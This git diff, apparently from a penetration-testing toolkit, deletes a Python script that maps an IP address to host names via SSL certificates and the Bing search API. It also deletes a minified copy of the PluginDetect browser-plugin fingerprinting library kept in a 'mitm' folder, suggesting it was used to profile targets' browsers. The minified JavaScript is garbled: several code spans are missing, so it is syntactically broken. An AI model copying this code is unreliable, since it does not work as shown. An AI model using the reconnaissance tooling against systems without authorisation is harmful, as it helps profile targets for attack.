resultsList: - if "| ssl-cert: Subject: commonName=" in line and "*." not in line: - hostName = line.replace("| ssl-cert: Subject: commonName=","").split("/")[0] - hostName = hostName.strip() - if hostName: - return hostName - -def reverseBing(ip): - sites = [] - skip = 0 - top = 100 - port = 443 - if isOpen(ip,port): - if getSSLcertname(ip): - sites.append(getSSLcertname(ip)) - while skip < 200: - try: - url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%(ip,top,skip) - request = urllib2.Request(url) - auth = base64.encodestring("%s:%s" % (bingAPIKey, bingAPIKey)).replace("\n", "") - request.add_header("Authorization", "Basic %s" % auth) - res = urllib2.urlopen(request) - data = res.read() - - xmldoc = parseString(data) - site_list = xmldoc.getElementsByTagName('d:Url') - for site in site_list: - domain = site.childNodes[0].nodeValue - domain = domain.split("/")[2] - tmpDomain = domain - if ":" in domain: - domain = domain.split(":")[0] - if tmpDomain not in sites: - siteIP = getIP(domain) - if ip not in sites: - #if ip!=siteIP: - # sites.append(ip) - if ip==siteIP: - sites.append(tmpDomain) - except urllib2.URLError: - continue - skip += 50 - return sites - -parser = argparse.ArgumentParser(description='IP to DNS Name') -parser.add_argument('-host', help='Enter an IP address or Domain name') -parser.add_argument('-file', help='File containing list of IP addresses') -args = parser.parse_args() -if args.host==None and args.file==None: - print "\n[!] Please run 'python "+sys.argv[0]+" -h'\n" - sys.exit() -else: - if args.file: - filename = args.file - ipList = [] - with open(filename) as f: - ipList = f.read().splitlines() - for host in ipList: - tmpHost = host - if "http" in tmpHost or "https" in tmpHost: - parse_object = urlparse(tmpHost) - fqdn = str(parse_object.hostname) - tmpHost = fqdn - if any(c.isalpha() for c in tmpHost)==False: - if len(bingAPIKey)<1: - sys.exit("[!] Please check your bingAPIKey !") - sites = reverseBing(tmpHost) - if sites: - for site in sites: - if site!=None: - print tmpHost+"\t"+site - else: - print tmpHost - else: - print tmpHost - elif args.host: - tmpHost = args.host - if "http" in tmpHost or "https" in tmpHost: - parse_object = urlparse(tmpHost) - fqdn = str(parse_object.hostname) - tmpHost = fqdn - if any(c.isalpha() for c in tmpHost)==False: - if len(bingAPIKey)<1: - sys.exit("[!] Please check your bingAPIKey !") - sites = reverseBing(tmpHost) - for site in sites: - print tmpHost+"\t"+site diff --git a/mitm/PluginDetect_All.js b/mitm/PluginDetect_All.js deleted file mode 100755 index 5cb4a99..0000000 --- a/mitm/PluginDetect_All.js +++ /dev/null @@ -1,7 +0,0 @@ -/* -PluginDetect v0.8.3 -www.pinlady.net/PluginDetect/license/ -[ getVersion isMinVersion hasMimeType onDetectionDone getInfo ] -[ QuickTime Java DevalVR Flash Shockwave WMP Silverlight VLC AdobeReader PDFReader RealPlayer IEcomponent ActiveX PDF.js ] -*/ -var PluginDetect={version:"0.8.3",name:"PluginDetect",openTag:"<",isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;ag(b[a],10)){return 1}if(g(c[a],10)c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},getPROP:function(d,b,a){var c;try{if(d){a=d[b]}}catch(c){}return a},findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a-1&&a>c&&d[a]!="0"){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a){var d=null,c,b=this;try{d=new b.AXO(a)}catch(c){};return d},INIT:function(){this.init.library(this)},init:{$:1,hasRun:0,objProperties:function(d,e,b){var a,c={};if(e&&b){if(e[b[0]]===1&&!d.isArray(e)&&!d.isFunc(e)&&!d.isString(e)&&!d.isNum(e)){for(a=0;a=0;b=b-2){if(c[b]&&new RegExp(c[b],"i").test(a)){d.OS=c[b+1];break}}}},library:function(c){var e=this,d=document,b,a;c.init.objProperties(c,c,["$",c]);for(a in c.Plugins){c.init.plugin(c.Plugins[a],a)}e.publicMethods(c.PUBLIC,c);c.win.init();c.head=d.getElementsByTagName("head")[0]||d.getElementsByTagName("body")[0]||d.body||null;e.detectPlatform();e.detectIE();e.detectNonIE();c.init.hasRun=1}},ev:{$:1,handler:function(c,b,a){return function(){c(b,a)}},fPush:function(b,a){var c=this,d=c.$;if(d.isArray(a)&&(d.isFunc(b)||(d.isArray(b)&&b.length>0&&d.isFunc(b[0])))){a.push(b)}},callArray:function(a){var b=this,d=b.$,c;if(d.isArray(a)){while(a.length){c=a[0];a.splice(0,1);b.call(c)}}},call:function(d){var b=this,c=b.$,a=c.isArray(d)?d.length:-1;if(a>0&&c.isFunc(d[0])){d[0](c,a>1?d[1]:0,a>2?d[2]:0,a>3?d[3]:0)}else{if(c.isFunc(d)){d(c)}}}},PUBLIC:{isMinVersion:function(b){var a=function(j,h,e,d){var f=b.findPlugin(j),g,c=-1;if(f.status<0){return f.status}g=f.plugin;h=b.formatNum(b.isNum(h)?h.toString():(b.isStrNum(h)?b.getNum(h):"0"));if(g.getVersionDone!=1){g.getVersion(h,e,d);if(g.getVersionDone===null){g.getVersionDone=1}}if(g.installed!==null){c=g.installed<=0.5?g.installed:(g.installed==0.7?1:(g.version===null?0:(b.compareNums(g.version,h,g)>=0?1:-0.1)))};return c};return a},getVersion:function(b){var a=function(h,e,d){var f=b.findPlugin(h),g,c;if(f.status<0){return null};g=f.plugin;if(g.getVersionDone!=1){g.getVersion(null,e,d);if(g.getVersionDone===null){g.getVersionDone=1}}c=(g.version||g.version0);c=c?c.replace(b.splitNumRegx,b.getVersionDelimiter):c;return c};return a},getInfo:function(b){var a=function(h,e,d){var c={},f=b.findPlugin(h),g;if(f.status<0){return c};g=f.plugin;if(g.getInfo){if(g.getVersionDone===null){b.getVersion?b.getVersion(h,e,d):b.isMinVersion(h,"0",e,d)}c=g.getInfo()};return c};return a},onDetectionDone:function(b){var a=function(j,h,d,c){var e=b.findPlugin(j),k,g;if(e.status==-3){return -1}g=e.plugin;if(!b.isArray(g.funcs)){g.funcs=[]};if(g.getVersionDone!=1){k=b.getVersion?b.getVersion(j,d,c):b.isMinVersion(j,"0",d,c)}if(g.installed!=-0.5&&g.installed!=0.5){b.ev.call(h);return 1}b.ev.fPush(h,g.funcs);return 0};return a},hasMimeType:function(b){var a=function(d){if(!b.isIE&&d&&navigator&&navigator.mimeTypes){var g,f,c,e=b.isArray(d)?d:(b.isString(d)?[d]:[]);for(c=0;c=7?0:1},checkGarbage:function(d){var b=this,c=b.$,a;if(c.isIE&&d&&c.getPROP(d.firstChild,"object")){a=c.getPROP(d.firstChild,"readyState");if(c.isNum(a)&&a!=4){b.garbage=1;return 1}}return 0},emptyGarbage:function(){var a=this,b=a.$,c;if(b.isIE&&a.garbage){try{window.CollectGarbage()}catch(c){}a.garbage=0}},init:function(e){if(!e.init){var c=this,d=c.$,a,b;e.init=1;e.min=0;e.max=0;e.hasRun=0;e.version=null;e.L=0;e.altHTML="";e.span=document.createElement("span");e.tagA=''+e.altHTML+d.openTag+"/object>";for(a=0;a=0){return 0}c.innerHTML=i.tagA+b+i.tagB;if(g.getPROP(c.firstChild,"object")){a=1};f.checkGarbage(c);c.innerHTML="";if(a){i.min=b}else{i.max=b}return a},convert_:function(f,a,b,e){var d=f.convert[a],c=f.$;return d?(c.isFunc(d)?c.formatNum(d(b.split(c.splitNumRegx),e).join(",")):b):d},convert:function(h,c,g){var e=this,f=h.$,b,a,d;c=f.formatNum(c);a={v:c,x:-1};if(c){for(b=0;b=0&&(!b||f.compareNums(c,g?e.convert_(h,b,h.Upper[b]):h.Upper[b])<0)){a.v=e.convert_(h,b,c,g);a.x=b;break}}}return a},isMin:function(g,f){var d=this,e=g.$,c,b,a=0;d.init(g);if(!e.isStrNum(f)||d.isDisabled()){return a};if(!g.L){g.L={};for(c=0;c=0){a=(g.L.x==b.x?d.isActiveXObject(g,b.v):e.compareNums(f,g.L.v)<=0)?1:-1}};return a},search:function(g){var k=this,h=k.$,i=g.$$,b=0,c;k.init(g);c=(g.hasRun||k.isDisabled())?1:0;g.hasRun=1;if(c){return g.version};var o,n,m,j=function(q,t){var r=[].concat(f),s;r[q]=t;s=k.isActiveXObject(g,r.join(","));if(s){b=1;f[q]=t}else{p[q]=t}return s},d=g.DIGITMAX,e,a,l=99999999,f=[0,0,0,0],p=[0,0,0,0];for(o=0;op[o]&&h.compareNums(a,g.Lower[m])>=0&&h.compareNums(e,g.Upper[m])<0){p[o]=Math.floor(d[m][o])}}}for(n=0;n<30;n++){if(p[o]-f[o]<=16){for(m=p[o];m>=f[o]+(o?1:0);m--){if(j(o,m)){break}}break}j(o,Math.round((p[o]+f[o])/2))}if(!b){break}p[o]=f[o]}if(b){g.version=k.convert(g,f.join(",")).v};return g.version}},win:{$:1,loaded:false,hasRun:0,init:function(){var b=this,a=b.$;if(!b.hasRun){b.hasRun=1;b.addEvent("load",a.ev.handler(b.runFuncs,a));b.addEvent("unload",a.ev.handler(b.cleanup,a))}},addEvent:function(c,b){var e=this,d=e.$,a=window;if(d.isFunc(b)){if(a.addEventListener){a.addEventListener(c,b,false)}else{if(a.attachEvent){a.attachEvent("on"+c,b)}else{a["on"+c]=e.concatFn(b,a["on"+c])}}}},concatFn:function(d,c){return function(){d();if(typeof c=="function"){c()}}},funcs0:[],funcs:[],cleanup:function(b){if(b){for(var a in b){b[a]=0}b=0}},runFuncs:function(a){if(a&&!a.win.loaded){a.win.loaded=true;a.ev.callArray(a.win.funcs0);a.ev.callArray(a.win.funcs);if(a.DOM){a.DOM.onDoneEmptyDiv()}}},z:0},DOM:{$:1,isEnabled:{$:1,objectTag:function(){var a=this.$;return a.isIE?a.ActiveXEnabled:1},objectProperty:function(){var a=this.$;return a.isIE&&a.verIE>=7?1:0}},div:null,divID:"plugindetect",divClass:"doNotRemove",divWidth:50,getDiv:function(){var a=this;return a.div||document.getElementById(a.divID)||null},isDivPermanent:function(){var b=this,c=b.$,a=b.getDiv();return a&&c.isString(a.className)&&a.className.toLowerCase().indexOf(b.divClass.toLowerCase())>-1?1:0},initDiv:function(b){var c=this,d=c.$,a;if(!c.div){a=c.getDiv();if(a){c.div=a}else{if(b){c.div=document.createElement("div");c.div.id=c.divID}}if(c.div){c.setStyle(c.div,c.defaultStyle.concat(["display","block","width",c.divWidth+"px","height",(c.pluginSize+3)+"px","fontSize",(c.pluginSize+3)+"px","lineHeight",(c.pluginSize+3)+"px"]));if(!a){c.setStyle(c.div,["position","absolute","right","0px","top","0px"]);c.insertDivInBody(c.div)}}}},pluginSize:1,altHTML:"     ",emptyNode:function(c){var b=this,d=b.$,a,f;if(c&&c.childNodes){for(a=c.childNodes.length-1;a>=0;a--){if(d.isIE){b.setStyle(c.childNodes[a],["display","none"])}c.removeChild(c.childNodes[a])}}},LASTfuncs:[],onDoneEmptyDiv:function(){var f=this,g=f.$,b,d,c,a,h;f.initDiv();if(!g.win.loaded||g.win.funcs0.length||g.win.funcs.length){return}for(b in g.Plugins){d=g.Plugins[b];if(d){if(d.OTF==3||(d.funcs&&d.funcs.length)){return}}}g.ev.callArray(f.LASTfuncs);a=f.getDiv();if(a){if(f.isDivPermanent()){}else{if(a.childNodes){for(b=a.childNodes.length-1;b>=0;b--){c=a.childNodes[b];f.emptyNode(c)}try{a.innerHTML=""}catch(h){}}if(a.parentNode){try{a.parentNode.removeChild(a)}catch(h){}a=null;f.div=null}}}},width:function(){var g=this,e=g.DOM,f=e.$,d=g.span,b,c,a=-1;b=d&&f.isNum(d.scrollWidth)?d.scrollWidth:a;c=d&&f.isNum(d.offsetWidth)?d.offsetWidth:a;return c>0?c:(b>0?b:Math.max(c,b))},obj:function(b){var d=this,c=d.span,a=c&&c.firstChild?c.firstChild:null;return a},readyState:function(){var b=this,a=b.DOM.$;return a.isIE?a.getPROP(b.obj(),"readyState"):b.undefined},objectProperty:function(){var d=this,b=d.DOM,c=b.$,a;if(b.isEnabled.objectProperty()){a=c.getPROP(d.obj(),"object")}return a},getTagStatus:function(b,m,r,p,f,h){var s=this,d=s.$,q;if(!b||!b.span){return -2}var k=b.width(),c=b.readyState(),a=b.objectProperty();if(a){return 1.5}var g=/clsid\s*\:/i,o=r&&g.test(r.outerHTML||"")?r:(p&&g.test(p.outerHTML||"")?p:0),i=r&&!g.test(r.outerHTML||"")?r:(p&&!g.test(p.outerHTML||"")?p:0),l=b&&g.test(b.outerHTML||"")?o:i;if(!m||!m.span||!l||!l.span){return 0}var j=l.width(),n=m.width(),t=l.readyState();if(k<0||j<0||n<=s.pluginSize){return 0}if(h&&!b.pi&&d.isDefined(a)&&d.isIE&&b.tagName==l.tagName&&b.time<=l.time&&k===j&&c===0&&t!==0){b.pi=1}if(j=n){if(!b.winLoaded&&d.win.loaded){return b.pi?-0.5:-1}if(d.isNum(f)){if(!d.isNum(b.count2)){b.count2=f}if(f-b.count2>0){return b.pi?-0.5:-1}}}try{if(k==s.pluginSize&&(!d.isIE||c===4)){if(!b.winLoaded&&d.win.loaded){return 1}if(b.winLoaded&&d.isNum(f)){if(!d.isNum(b.count)){b.count=f}if(f-b.count>=5){return 1}}}}catch(q){}return b.pi?-0.1:0},setStyle:function(b,h){var c=this,d=c.$,g=b.style,a,f;if(g&&h){for(a=0;a.'+d.openTag+"/div>");c=i.getElementById(b)}catch(g){}}f=i.getElementsByTagName("body")[0]||i.body;if(f){f.insertBefore(a,f.firstChild);if(c){f.removeChild(c)}}},defaultStyle:["verticalAlign","baseline","outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"],insert:function(b,i,g,h,c,q,o){var s=this,f=s.$,r,t=document,v,m,p=t.createElement("span"),k,a,l="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:"+(q?"hidden;":"visible;")+"display:inline;";if(!f.isDefined(h)){h=""}if(f.isString(b)&&(/[^\s]/).test(b)){b=b.toLowerCase().replace(/\s/g,"");v=f.openTag+b+" ";v+='style="'+l+'" ';var j=1,u=1;for(k=0;k'}}v+=h+f.openTag+"/"+b+">"}else{b="";v=h}if(!o){s.initDiv(1)}var n=o||s.getDiv();m={span:null,winLoaded:f.win.loaded,tagName:b,outerHTML:v,DOM:s,time:new Date().getTime(),width:s.width,obj:s.obj,readyState:s.readyState,objectProperty:s.objectProperty};if(n&&n.parentNode){s.setStyle(p,s.defaultStyle.concat(["display","inline"]).concat(o?[]:["fontSize",(s.pluginSize+3)+"px","lineHeight",(s.pluginSize+3)+"px"]));n.appendChild(p);try{p.innerHTML=v}catch(r){};m.span=p;m.winLoaded=f.win.loaded}return m}},file:{$:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c){var b=this,e=b.$,a;if(d&&e.isDefined(c)){if(!d[b.any]){d[b.any]=[]}if(!d[b.valid]){d[b.valid]=[]}d[b.any].push(c);a=b.split(f,c);if(a){d[b.valid].push(a)}}},getValidLength:function(a){return a&&a[this.valid]?a[this.valid].length:0},getAnyLength:function(a){return a&&a[this.any]?a[this.any].length:0},getValid:function(c,a){var b=this;return c&&c[b.valid]?b.get(c[b.valid],a):null},getAny:function(c,a){var b=this;return c&&c[b.any]?b.get(c[b.any],a):null},get:function(d,a){var c=d.length-1,b=this.$.isNum(a)?a:c;return(b<0||b>c)?null:d[b]},split:function(g,c){var b=this,e=b.$,f=null,a,d;g=g?g.replace(".","\\."):"";d=new RegExp("^(.*[^\\/])("+g+"\\s*)$");if(e.isString(c)&&d.test(c)){a=(RegExp.$1).split("/");f={name:a[a.length-1],ext:RegExp.$2,full:c};a[a.length-1]="";f.path=a.join("/")}return f},z:0},Plugins:{quicktime:{$:1,mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime"],progID:"QuickTimeCheckObject.QuickTimeCheck.1",progID0:"QuickTime.QuickTime",classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",codebase:{$:1,isMin:function(a){return this.$.codebase.isMin(this,a)},search:function(){return this.$.codebase.search(this)},ParamTags:'',DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(b,a){return a?[b[0],b[1]+b[2],b[3],"0"]:[b[0],b[1].charAt(0),b[1].charAt(1),b[2]]},1,0,1]},setPluginStatus:function(d,a,f){var e=this,c=e.$,b=e.installed;e.installed=a?1:(f?(f>0?0.7:-0.1):(d?0:-1));if(a){e.version=c.formatNum(a,3)}e.getVersionDone=e.installed==0.7||e.installed==-0.1?0:1;c.codebase.emptyGarbage()},getVersion:function(c){var h=this,d=h.$,a=null,g=null,b,f;if(!d.isIE){if(d.hasMimeType(h.mimeType)){g=d.OS!=3?d.findNavPlugin("QuickTime.*Plug-?in",0):null;if(g&&g.name){a=d.getNum(g.name)}}}else{if(d.isStrNum(c)){b=c.split(d.splitNumRegx);if(b.length>3&&parseInt(b[3],10)>0){b[3]="9999"}c=b.join(",")}b=h.codebase.isMin(c);if(b){h.setPluginStatus(0,0,b);return}if(!a||d.dbug){a=h.codebase.search()}if(!a||d.dbug){g=d.getAXO(h.progID);b=d.getPROP(g,"QuickTimeVersion");if(b&&b.toString){a=b.toString(16);a=parseInt(a.charAt(0)||"0",16)+"."+parseInt(a.charAt(1)||"0",16)+"."+parseInt(a.charAt(2)||"0",16)}}}h.setPluginStatus(g,a)}},java:{$:1,mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],mimeType_dummy:"application/dummymimejavaapplet",classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",classID_dummy:"clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",navigator:{$:1,a:(function(){var b,a=!0;try{a=window.navigator.javaEnabled()}catch(b){}return a})(),javaEnabled:function(){return this.a},mimeObj:0,pluginObj:0},OTF:null,info:{$:1,Plugin2Status:0,setPlugin2Status:function(a){if(this.$.isNum(a)){this.Plugin2Status=a}},getPlugin2Status:function(){var c=this,d=c.$,b=c.$$,i=b.navigator,f,g,k,h,j,a;if(c.Plugin2Status===0){if(d.isIE&&d.OS==1&&(/Sun|Oracle/i).test(c.getVendor())){f=c.isMinJre4Plugin2();if(f>0){c.setPlugin2Status(1)}else{if(f<0){c.setPlugin2Status(-1)}}}else{if(!d.isIE&&i.pluginObj){k=/Next.*Generation.*Java.*Plug-?in|Java.*Plug-?in\s*2\s/i;h=/Classic.*Java.*Plug-in/i;j=i.pluginObj.description||"";a=i.pluginObj.name||"";if(k.test(j)||k.test(a)){c.setPlugin2Status(1)}else{if(h.test(j)||h.test(a)){c.setPlugin2Status(-1)}}}}}return c.Plugin2Status},isMinJre4Plugin2:function(a){var f=this,e=f.$,c=f.$$,d="",g=c.applet.codebase,b=c.applet.getResult()[0];if(e.OS==1){d="1,6,0,10"}else{if(e.OS==2){d="1,6,0,12"}else{if(e.OS==3){d="1,6,0,10"}else{d="1,6,0,10"}}}if(!a){a=(b&&!c.applet.isRange(b)?b:0)||c.version||(g.min&&d?(g.isMin(d)>0?d:"0,0,0,0"):0)}a=e.formatNum(e.getNum(a));return a?(e.compareNums(a,d)>=0?1:-1):0},BrowserForbidsPlugin2:function(){var a=this.$;if(a.OS>=20){return 0}if((a.isIE&&a.verIE<6)||(a.isGecko&&a.compareNums(a.verGecko,"1,9,0,0")<0)||(a.isOpera&&a.verOpera&&a.verOpera<10.5)){return 1}return 0},BrowserRequiresPlugin2:function(){var a=this.$;if(a.OS>=20){return 0}if((a.isGecko&&a.compareNums(a.verGecko,"1,9,2,0")>=0)||a.isChrome||(a.OS==1&&a.verOpera&&a.verOpera>=10.6)){return 1}return 0},VENDORS:["Sun Microsystems Inc.","Apple Computer, Inc.","Oracle Corporation"],OracleMin:"1,7,0,0",OracleOrSun:function(a){var c=this,b=c.$;return c.VENDORS[b.compareNums(b.formatNum(a),c.OracleMin)<0?0:2]},OracleOrApple:function(a){var c=this,b=c.$;return c.VENDORS[b.compareNums(b.formatNum(a),c.OracleMin)<0?1:2]},getVendor:function(){var d=this,c=d.$,b=d.$$,f=b.vendor||b.applet.getResult()[1]||"",e=b.applet.codebase,a;if(!f){a=b.DTK.version||e.version||(e.min?(e.isMin(d.OracleMin)>0?d.OracleMin:"0,0,0,0"):0);if(a){f=d.OracleOrSun(a)}else{if(b.version){if(c.OS==2){f=d.OracleOrApple(b.version)}else{if((!c.isIE&&c.OS==1)||c.OS==3){f=d.OracleOrSun(b.version)}}}}}return f},isPlugin2InstalledEnabled:function(){var b=this,d=b.$,a=b.$$,i=-1,f=a.installed,g=b.getPlugin2Status(),h=b.BrowserRequiresPlugin2(),e=b.BrowserForbidsPlugin2(),c=b.isMinJre4Plugin2();if(f!==null&&f>=-0.1){if(g>=3){i=1}else{if(g<=-3){}else{if(g==2){i=1}else{if(g==-2){}else{if(h&&g>=0&&c>0){i=1}else{if(e&&g<=0&&c<0){}else{if(h){i=1}else{if(e){}else{if(g>0){i=1}else{if(g<0){}else{if(c<0){}else{i=0}}}}}}}}}}}}return i},result:{$:1,getDeploymentToolkitObj:function(){var a=this,d=a.$,b=a.$$,e=b.info,c=b.DTK;c.query(1);e.updateResult();return c.status&&c.HTML?c.HTML.obj():c.status}},updateResult:function(){var c=this,e=c.$,b=c.$$,a=b.applet,i,k=b.installed,h=b.DTK,g=a.results,l=c.result;l.DeployTK_versions=[].concat(e.isArray(h.VERSIONS)?h.VERSIONS:[]);l.vendor=c.getVendor();l.isPlugin2=c.isPlugin2InstalledEnabled();l.OTF=b.OTF<3?0:(b.OTF==3?1:2);l.JavaAppletObj=null;for(i=0;i0){f[i]=0}else{if(a.allowed[i]>=1&&b.OTF!=3&&(a.isDisabled.single(i)||k==-0.2||k==-1||a.active[i]<0||(i==3&&(!e.isIE||(/Microsoft/i).test(l.vendor))))){f[i]=-1}}}else{if(i==3&&g[0][0]){f[i]=0}else{if(a.isDisabled.single(i)){f[i]=-1}}}}}l.objectTag=f[1];l.appletTag=f[2];l.objectTagActiveX=f[3];l.name="";l.description="";var j=0;if(!e.isIE){if(b.navMime.query().pluginObj){j=b.navMime.pluginObj}else{if(b.navigator.pluginObj){j=b.navigator.pluginObj}}if(j){l.name=j.name||"";l.description=j.description||""}}l.All_versions=[].concat((l.DeployTK_versions.length?l.DeployTK_versions:(e.isString(b.version)?[b.version]:[])));var d=l.All_versions;for(i=0;i=20){}else{if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2()){c=0}}}return c},setPluginStatus:function(d,i,g,h){var b=this,e=b.$,f,c=0,a=b.applet;g=g||b.version0;f=a.isRange(d);if(f){if(a.setRange(f,h)==d){c=f}d=0}if(b.OTF<3){b.installed=c?(c>0?0.7:-0.1):(d?1:(g?-0.2:-1))}if(b.OTF==2&&b.NOTF&&!b.applet.getResult()[0]){b.installed=g?-0.2:-1}if(b.OTF==3&&b.installed!=-0.5&&b.installed!=0.5){b.installed=(b.NOTF.isJavaActive(1)==1?0.5:-0.5)}if(b.OTF==4&&(b.installed==-0.5||b.installed==0.5)){if(d){b.installed=1}else{if(c){b.installed=c>0?0.7:-0.1}else{if(b.NOTF.isJavaActive(1)==1){if(g){b.installed=1;d=g}else{b.installed=0}}else{if(g){b.installed=-0.2}else{b.installed=-1}}}}}if(g){b.version0=e.formatNum(e.getNum(g))}if(d&&!c){b.version=e.formatNum(e.getNum(d))}if(i&&e.isString(i)){b.vendor=i}if(!b.vendor){b.vendor=""}if(b.verify&&b.verify.isEnabled()){b.getVersionDone=0}else{if(b.getVersionDone!=1){if(b.OTF<2){b.getVersionDone=0}else{b.getVersionDone=b.applet.can_Insert_Query_Any()?0:1}}};e.codebase.emptyGarbage()},DTK:{$:1,hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(a){var b=this,c=b.$;if(!a&&(!c.DOM.isEnabled.objectTag()||(c.isIE&&c.verIE<6)||(c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||c.compareNums(c.verSafari,"5,1,0,0")<0))||c.isChrome)){return 1}return 0},query:function(n){var l=this,h=l.$,f=l.$$,k,m,i,a=h.DOM.altHTML,g={},b,d=null,j=null,c=(l.hasRun||l.isDisabled(n));l.hasRun=1;if(c){return l}l.status=0;if(h.isIE){for(m=0;m0?1:-1;for(m=0;m0){c=g}}}g=k[h+c];if(g){o=f.hasMimeType(g);i.mimeObj=o;i.pluginObj=o?o.enabledPlugin:0;i.mimetype=g;i.version=c};return i}},navPlugin:{$:1,hasRun:0,version:"",isDisabled:function(){var d=this,c=d.$,b=d.$$,a=b.navigator;if(c.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},query:function(){var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.isDisabled());m.hasRun=1;if(b){return m};a=h.pluginObj.name||"";i=h.pluginObj.description||"";if(!f||e.dbug){g=/Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5){f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")}}if(!f||e.dbug){g=/Java[^\d]*Plug-in/i;l=g.test(i)?e.formatNum(e.getNum(i)):0;k=g.test(a)?e.formatNum(e.getNum(a)):0;if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0)){l=0}if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0)){k=0}d=l&&k?(e.compareNums(l,k)>0?l:k):(l||k);if(d){f=d}}if(!f&&e.isSafari&&e.OS==2){j=e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",0);if(j){l=e.getNum(j.description);if(l){f=l}}};if(f){m.version=e.formatNum(f)};return m}},applet:{$:1,codebase:{$:1,isMin:function(a){return this.$.codebase.isMin(this,a)},search:function(){return this.$.codebase.search(this)},ParamTags:'',DIGITMAX:[[16,64],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(b,a){return a?[parseInt(b[0],10)>1?"99":parseInt(b[1],10)+3+"",b[3],"0","0"]:["1",parseInt(b[0],10)-3+"","0",b[1]]},function(b,a){return a?[b[1],b[2],b[3]+"0","0"]:["1",b[0],b[1],b[2].substring(0,b[2].length-1||1)]},0,function(b,a){return a?[b[0],b[1],b[2],b[3]+"0"]:[b[0],b[1],b[2],b[3].substring(0,b[3].length-1||1)]},0,1,function(b,a){return a?[b[0],b[1],b[2],b[3]+"0"]:[b[0],b[1],b[2],b[3].substring(0,b[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var b=this,d=b.results,a,c=[];for(a=d.length-1;a>=0;a--){c=d[a];if(c[0]){break}}c=[].concat(c);return c},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(c){var d=this,b;for(b=0;ba-1&&d.isNum(c[a-1])){if(c[a-1]<0){c[a-1]=0}if(c[a-1]>3){c[a-1]=3}b.allowed[a]=c[a-1]}}b.allowed[0]=b.allowed[3]}},setVerifyTagsArray:function(d){var b=this,c=b.$,a=b.$$;if(a.getVersionDone===null){b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())}if(c.dbug){b.saveAsVerifyTagsArray([3,3,3])}else{if(d){b.saveAsVerifyTagsArray(d)}}},isDisabled:{$:1,single:function(d){var a=this,c=a.$,b=a.$$;if(d==0){return c.codebase.isDisabled()}if((d==3&&!c.isIE)||a.all()){return 1}if(d==1||d==3){return !c.DOM.isEnabled.objectTag()}if(d==2){return a.AppletTag()}},aA_:null,all:function(){var c=this,e=c.$,d=c.$$,b=d.navigator,a=0;if(c.aA_===null){if(e.OS>=20){a=0}else{if(e.verOpera&&e.verOpera<11&&!b.javaEnabled()){a=1}else{if((e.verGecko&&e.compareNums(e.verGecko,e.formatNum("2"))<0)&&!b.mimeObj){a=1}else{if(c.AppletTag()&&!e.DOM.isEnabled.objectTag()){a=1}}}};c.aA_=a}return 